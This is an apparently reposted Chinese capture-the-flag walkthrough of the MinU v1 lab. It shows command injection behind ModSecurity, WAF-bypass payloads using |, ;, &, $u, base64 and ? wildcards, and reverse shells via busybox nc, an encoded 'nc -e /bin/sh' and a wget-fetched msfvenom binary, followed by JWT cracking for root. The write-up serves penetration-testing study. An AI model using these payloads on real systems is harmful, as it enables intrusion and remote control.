涉及目錄知識(shí)點(diǎn)
1.NMAP挖掘信息2.web信息枚舉3.繞過WAF(一)識(shí)別waf4.繞過WAF(二)模糊測(cè)試Fuzz5.繞過WAF(三)6.繞過WAF(四)7.繞過WAF(五)8.穩(wěn)定shell拓展9.內(nèi)部信息收集10.提權(quán)--深入分析PW文件11.總結(jié)
本項(xiàng)目中包含信息收集、信息收集、識(shí)別WAF、多種繞過WAF方式、獲取穩(wěn)定shell、內(nèi)部信息收集和提權(quán),最終拿到flag.txt。其中包含一些小技巧以及知識(shí),都會(huì)在文章中展現(xiàn)出來。
注意:
本文僅用于技術(shù)討論與研究,對(duì)于所有筆記中復(fù)現(xiàn)的這些終端或者服務(wù)器,都是自行搭建的環(huán)境進(jìn)行滲透的。我將使用Kali Linux作為此次學(xué)習(xí)的攻擊者機(jī)器。這里使用的技術(shù)僅用于學(xué)習(xí)教育目的,如果列出的技術(shù)用于其他任何目標(biāo),本站及作者概不負(fù)責(zé)。
靶機(jī)下載地址:https://www.vulnhub.com/entry/minu-1,235/
下載完成后,使用 VirtualBox 導(dǎo)入,網(wǎng)絡(luò)選擇橋接模式,開啟靶機(jī).
準(zhǔn)備工作完成,可以開始進(jìn)行滲透了。
滲透測(cè)試的本質(zhì)就是信息收集,
信息搜集的廣度決定了攻擊的廣度,知識(shí)面的廣度決定了攻擊的深度。
1.NMAP挖掘信息
掃描挖掘本地的IP地址信息:
nmap -sS -sV -T5 -A 10.163.197.21
發(fā)現(xiàn)開放了25、80、110端口,25端口為SMTP端口服務(wù),110端口為POP3,80端口掃描出了是烏班圖的系統(tǒng),該apache的版本為2.4.7,接下來訪問下http的80端口。
2.web信息枚舉
訪問80端口
可以看到是apache的一個(gè)初始的服務(wù)頁面,僅僅只有80端口開了htp服務(wù)的話,猜測(cè)下面一定是有目錄的,所以進(jìn)行爆破看看。
也可以使用其他爆破目錄工具,此處我使用的是dirb,dirb是一個(gè)基于字典的web目錄掃描工具,查找現(xiàn)有的(和/或隱藏的)Web對(duì)象,通過對(duì)Web服務(wù)器發(fā)起基于字典的攻擊并分析響應(yīng)的數(shù)據(jù)。采用遞歸的方式來獲取更多的目錄,它還支持代理和http認(rèn)證限制訪問的網(wǎng)站,是在信息收集階段獲取目標(biāo)信息常用工具手段。
dirb http://10.163.197.21/
掃描結(jié)果的狀態(tài)碼中大部分都是403,如果大批量出現(xiàn)403,說明前端是存在安全防護(hù)機(jī)制的,要么是waf要么是防御腳本。上面的爆破只有一個(gè)index.html返回的是200,訪問發(fā)現(xiàn)就是剛才的主頁。加大爆破力度。
在很多情況下,我們需要在目標(biāo)服務(wù)器上提取特定擴(kuò)展名的目錄,然后可以使用dirb掃描的-X參數(shù)。此參數(shù)接受文件擴(kuò)展名,然后在目標(biāo)服務(wù)器或計(jì)算機(jī)上搜索給定的擴(kuò)展名文件。
dirbhttp://10.163.197.21/-X .php .html
發(fā)現(xiàn)存在一個(gè) test.php。
訪問http://10.163.197.21/test.php
提示:Read last visitor data 讀取上次訪問者數(shù)據(jù)。是否存在信息泄露呢,我們點(diǎn)擊這個(gè)提示。
點(diǎn)擊后彈出:http://192.168.3.88/test.php?file=last.html,一般情況下 ?file= 存在文件包含、sql注入。
嘗試對(duì)URL進(jìn)行構(gòu)造。
http://10.163.197.21/test.php?file=../../../../../../../etc/passwd
結(jié)合前面爆破是大部分回顯均為403,猜測(cè)是存在WAF,嘗試命令注入。
發(fā)現(xiàn)存在命令注入,手工試了一些后,發(fā)現(xiàn)ls、cat這些命令無法正常執(zhí)行,應(yīng)該是被waf攔截了。
3.繞過WAF(一)識(shí)別waf
這里使用一個(gè)工具,對(duì)waf進(jìn)行探測(cè) WAFW00F
WAFW00F是一個(gè)Web應(yīng)用防火墻(WAF)指紋識(shí)別的工具。
WAFW00F工作原理:
1、首先通過發(fā)送一個(gè)正常http請(qǐng)求,然后觀察其返回有沒有一些特征字符
2、如果不成功,它將發(fā)送大量(潛在的惡意) HTTP 請(qǐng)求,并使用簡(jiǎn)單的邏輯推斷出它是哪個(gè)WAF
3、如果這也不成功,它將分析以前返回的響應(yīng),并使用另一個(gè)簡(jiǎn)單的算法來猜測(cè) WAF 或安全解決方案是否正在積極響應(yīng)我們的攻擊.
下載地址:https://github.com/EnableSecurity/wafw00f
KALI自帶這個(gè)工具
wafw00fhttp://10.163.197.21/
根據(jù)回顯,存在waf,但是無法識(shí)別出來,當(dāng)前使用的這個(gè) wafw00f 是新版waf,但是新版反而不是很好用,所以我們?cè)偈褂门f版的嘗試一下。
舊版檢測(cè)到是一款叫 modsecurity 的waf,是一個(gè)開源waf。
規(guī)則機(jī)制(繞過CRS)
WAF可以安裝在服務(wù)器,可以安裝在某個(gè)站的目錄下,也可以安裝在PHP文件內(nèi)。
https://github.com/SpiderLabs/ModSecurity---開源
https://github.com/SpiderLabs/owasp-modsecurity-crs
ModSecurity是一個(gè)開源的跨平臺(tái)Web應(yīng)用程序防火墻(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs開發(fā)。作為WAF產(chǎn)品,ModSecurity專門關(guān)注HTTP流量,當(dāng)發(fā)出HTTP請(qǐng)求時(shí),ModSecurity檢查請(qǐng)求的所有部分,如果請(qǐng)求是惡意的,它會(huì)被阻止和記錄。
功能:
SQL Injection (SQLi):阻止SQL注入
Cross Site Scripting (XSS):阻止跨站腳本攻擊
Local File Inclusion (LFI):阻止利用本地文件包含漏洞進(jìn)行攻擊
Remote File Inclusione(RFI):阻止利用遠(yuǎn)程文件包含漏洞進(jìn)行攻擊
Remote Code Execution (RCE):阻止利用遠(yuǎn)程命令執(zhí)行漏洞進(jìn)行攻擊
PHP Code Injectiod:阻止PHP代碼注入
HTTP Protocol Violations:阻止違反HTTP協(xié)議的惡意訪問
HTTPoxy:阻止利用遠(yuǎn)程代理感染漏洞進(jìn)行攻擊
Shellshock:阻止利用Shellshock漏洞進(jìn)行攻擊
Session Fixation:阻止利用Session會(huì)話ID不變的漏洞進(jìn)行攻擊
Scanner Detection:阻止黑客掃描網(wǎng)站
Metadata/Error Leakages:阻止源代碼/錯(cuò)誤信息泄露
Project Honey Pot Blacklist:蜜罐項(xiàng)目黑名單
GeoIP Country Blocking:根據(jù)判斷IP地址歸屬地來進(jìn)行IP阻斷
4.繞過WAF(二)模糊測(cè)試Fuzz
繞過waf可以嘗試進(jìn)行模糊測(cè)試,也就是FUZZ,F(xiàn)UZZ可以應(yīng)用在很多場(chǎng)景中。
此處我們使用wfuzz工具。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txthttp://10.163.197.21/test.php?file=FUZZ---正常模糊測(cè)試執(zhí)行命令。
-c 輸出顏色 -z payload
這里跑出很多種結(jié)果。
響應(yīng)值是200的和403的都很多,所以我們進(jìn)行一下過濾,把403和404的過濾掉,然后重新執(zhí)行。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ---加hc過濾。
剩下的就都是響應(yīng)值為200的,此時(shí)就可以使用命令測(cè)試?yán)@過waf。
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403http://10.163.197.21/test.php?file=FUZZ| grep dir
上面的命令是dir如何可以繞過waf。
出示了兩種方式,我們進(jìn)行嘗試。
訪問http://10.163.197.21/test.php?file=|dir
可以繞過
關(guān)于wfuzz的詳細(xì)使用可以參考:https://blog.csdn.net/qq_17204441/article/details/102279118
通過 | 繞過waf
現(xiàn)在已經(jīng)可以繞過waf進(jìn)行命令執(zhí)行了
5.繞過WAF(三)
分號(hào)“;” 隔離繞過waf!
以文件形式去讀的時(shí)候,加;就可以繞過
http://10.163.197.21/test.php?file=last.html;id
因?yàn)镻HP底下是有過濾器的,因?yàn)橛羞^濾器才導(dǎo)致有文件包含,我們用過濾器讀取了文件包含下的一個(gè)文件。
通過訪問 http://10.163.197.21/test.php?file=--version可以看到過濾器的信息。
是用cat過濾的,所以要以一個(gè)文件開頭讀取信息,然后再繞過。
但是目前的兩種繞過方式都只能執(zhí)行部分命令,如果命令后面需要跟參數(shù),就不行了。
二進(jìn)制繞過
可以在不受限制和不同的二進(jìn)制文件中執(zhí)行命令來繞過本地安全限制!
這里提供一個(gè)包含所有二進(jìn)制文件的網(wǎng)站:
二進(jìn)制文件的列表:https://gtfobins.github.io/
最終發(fā)現(xiàn):https://gtfobins.github.io/gtfobins/busybox/可以繞過waf
所以根據(jù)二進(jìn)制繞過waf,就可以反彈shell到其他機(jī)器上。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh
此時(shí)是沒有環(huán)境變量的,但是每個(gè)二進(jìn)制文件都包含環(huán)境變量,可以添加參數(shù)-i。
http://10.163.197.21/test.php?file=YLion;busyboxnc 10.163.196.91 6789 -e sh -i
6.繞過WAF(四)
& --繞waf(URL編碼混淆繞過WAF)。
&的url編碼為%26 空格的url編碼為%20。
&會(huì)過濾掉前面的命令,直接執(zhí)行后面的命令。
可以執(zhí)行成功。
這里混淆的話,linux一般都會(huì)默認(rèn)安裝base64,所以使用base64加密混淆。
但是base64加密完會(huì)包含=,=被waf加入黑名單了,等號(hào)和你加密時(shí)的空格有關(guān),可以在末尾添加空格,加密后等號(hào)就會(huì)去掉,如圖下中的嘗試。
&/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
%26/bin/echo bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64 -d|/bin/sh
此處執(zhí)行
http://10.163.197.21/test.php?file=%26/bin/echo%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/usr/bin/base64%20-d|/bin/sh
發(fā)現(xiàn)無法執(zhí)行。
此時(shí)嘗試?yán)^續(xù)繞過,加?號(hào),?問號(hào)在linux中以命令使用著,例如:/bin/echo可以通過替換一些字母來調(diào)用,/bin/ech?,仍然會(huì)執(zhí)行相同的命令!----在中間件服務(wù)里會(huì)自動(dòng)識(shí)別命令。
%26/b?n/ec?o bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64 -d|/bin/?h
http://10.163.197.21/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxMC4xNjMuMTk2LjkxIDEzMzcK|/u?r/b?n/b?se64%20-d|/bin/?h
成功 總結(jié)一下:
1)知道了cat執(zhí)行命令,那么用&符號(hào):
& 符號(hào)url編碼是%26,結(jié)束并開始一個(gè)新的命令!
2)%20 ---空格
3)bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjMuODYgMTMzNyAgICAgICAK ---base64編碼
(這里==也在黑名單上)
4)/u?r/b?n/b?se64%20-d是url編碼的繞過方法:/usr/bin/base64 -d
5)|/b?n/sh也是一種繞過:|/bin/sh、
7.繞過WAF(五)
$繞過WAF,但是是針對(duì)modsecurity這個(gè)waf的。
$u 然后執(zhí)行命令 $u被視為空字符串。
首先我們使用msf生成一個(gè)shell。
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.27.187 lport=4455 -f elf > shell
然后用python開啟一個(gè)http服務(wù),并且用nc監(jiān)聽4455端口。
http://10.163.197.21/test.php?file=YLion;$u wgethttp://192.168.27.187:80/shell-o /tmp/shell
執(zhí)行即可成功上傳,通過下面的命令查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
可以看到文件存在,查看一下文件權(quán)限。
http://10.163.197.21/test.php?file=YLion;$u ls -la /tmp/shell
并且發(fā)現(xiàn)權(quán)限比較低,所以執(zhí)行另一條命令。
http://10.163.197.21/test.php?file=YLion;$u chmod 777 /tmp/shell
給予高權(quán)限,再次查看。
http://10.163.197.21/test.php?file=YLion;$u ls /tmp
權(quán)限已經(jīng)變高了,攻擊機(jī)上進(jìn)行監(jiān)聽端口。
nc -vlp 4455
http://10.163.197.21/test.php?file=YLion;$u /tmp/shell
注意:這里存在一個(gè)坑,可能大家做到這里會(huì)發(fā)現(xiàn),python開啟的http服務(wù)那里有記錄,文件也可以看到,但是沒有回顯,其實(shí)是因?yàn)樽髡咄诹艘粋€(gè)坑,大家看上面查看文件權(quán)限的圖片,里面那個(gè)0,代表文件大小是0,這是因?yàn)槲募臻g滿了,搭建之處空間被占滿了,所以只有一個(gè)文件空殼,有名字,但是沒有內(nèi)容。所以需要?jiǎng)h除一些文件,再重新上傳。
總結(jié)上述繞過方式:| $ & ; 加上各種混淆base64 ? 等等
8.穩(wěn)定shell拓展
這里已經(jīng)拿到shell,這里也有一點(diǎn),就是這里要輸python3,而不是直接python。
python3 -c 'import pty; pty.spawn("/bin/bash")'
SHELL=/bin/bash script -q /dev/null
xport TERM=xterm-256color
ctrl + z
stty raw -echo
fg
執(zhí)行完成就拿到了穩(wěn)定shell。
9.內(nèi)部信息收集
uname -a
由此得知是一個(gè)32位的系統(tǒng)。
可以上傳一個(gè)腳本,然后運(yùn)行 linpeas.sh 這是一個(gè)Linux提權(quán)輔助工具。
這個(gè)腳本非常厲害,可以枚舉linux操作系統(tǒng)幾乎所有的可提權(quán)項(xiàng),甚至可以通過su暴力破解本地密碼,輸出非常多。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
由于沒有空間,可以使用rm -rf命令刪除tmp目錄下的一些文件,一般tmp目錄下為臨時(shí)文件。
Linux version 4.13.0-39-generic ---45010
Sudo version 1.8.20p2 ---CVE-2021-3156
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare) ---找到bob的密碼,su bob登錄用sudo -l提權(quán)。
在tmp目錄下進(jìn)行查看
ls -la
再查看一下home目錄下的內(nèi)容。
然后在 /home/bob/ 目錄下找到一個(gè)隱藏文件。
上面的腳本也會(huì)枚舉出這個(gè)文件。
通過python3,將該文件下載下來。
python3 -m http.server 8089
wget http://192.168.2.230:8089/._pw_
cat ._pw_
10.提權(quán)--深入分析PW文件
初步懷疑這是一個(gè)密碼base64加密,但是base64中并沒有點(diǎn),直接嘗試解碼試試。
點(diǎn)在base64中代表跳過的意思,前面的部分解出了一些東西。
sha256 類型:JWT
將第一個(gè)點(diǎn)號(hào)過濾,查看后面的信息。
過濾第二個(gè)點(diǎn)號(hào)。
是二進(jìn)制文件。
對(duì)已有信息進(jìn)行解讀。
JWT是一種密匙認(rèn)證機(jī)制,類似簽名。
JSON Web Token(JWT)是一個(gè)開放的行業(yè)標(biāo)準(zhǔn)(RFC 7519),它定義了一種簡(jiǎn)介的、自包含的協(xié)議格式,用于在通信雙方傳遞json對(duì)象,傳遞的信息經(jīng)過數(shù)字簽名可以被驗(yàn)證和信任。JWT可以使用HMAC算法或使用RSA的公 鑰/私鑰對(duì)來簽名,防止被篡改。
JWT 具有這種格式的三個(gè)部分:
base64(header).base64(payload).base64(signature)
1. header在 JSON 中指定算法和類型。
2. payload指定令牌的聲明,也在 JSON 中。
3. signature是編碼頭和有效載荷的數(shù)字簽名。
解密提供兩種思路,在線解密以及解密工具。
https://jwt.io/#debugger這個(gè)網(wǎng)站提供在線解密,但是有些情況是解不出來的,需要使用工具破解。
這里給出兩種工具:
https://github.com/brendan-rius/c-jwt-cracker.git
https://github.com/lmammino/jwt-cracker
我們使用第一種
proxychains git clonehttps://github.com/brendan-rius/c-jwt-cracker.git
cd jwt-cracker
apt-get install libssl-dev
make
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Secret is "mlnV1" ----等待幾分鐘
賬戶root,密碼為mlnV1
root目錄下存在flag.txt
11.總結(jié)
本篇文章著重點(diǎn)在于過WAF部分,也對(duì)其他的信息手機(jī)、提權(quán)的等給出了一些思路,希望小伙伴們能實(shí)際操作復(fù)現(xiàn)一遍!來鞏固自身的滲透技術(shù)和技巧!
原文標(biāo)題:紅隊(duì)滲透項(xiàng)目之MinUv1
文章出處:【微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
-
服務(wù)器
+關(guān)注
關(guān)注
13文章
9786瀏覽量
87910 -
端口
+關(guān)注
關(guān)注
4文章
1046瀏覽量
32924 -
WAF
+關(guān)注
關(guān)注
0文章
30瀏覽量
10662 -
Shell
+關(guān)注
關(guān)注
1文章
372瀏覽量
24203
原文標(biāo)題:紅隊(duì)滲透項(xiàng)目之MinUv1
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
怎么繞過內(nèi)部耦合器
香港云服務(wù)器寶塔windows面板提權(quán)獲取系統(tǒng)管理員權(quán)限
IMS網(wǎng)絡(luò)多種鑒權(quán)機(jī)制的研究
Linux內(nèi)核提權(quán)攻擊研究

每天收集你個(gè)人信息的APP超過1000種
Linux中shell腳本執(zhí)的4種方式

大數(shù)據(jù)資源和技術(shù)運(yùn)用將決定制信息權(quán)的爭(zhēng)奪,左右著作戰(zhàn)主動(dòng)權(quán)
用來獲取linux系統(tǒng)信息的shell腳本
獲取USB設(shè)備信息的方式介紹
一款數(shù)據(jù)庫自動(dòng)化提權(quán)工具

評(píng)論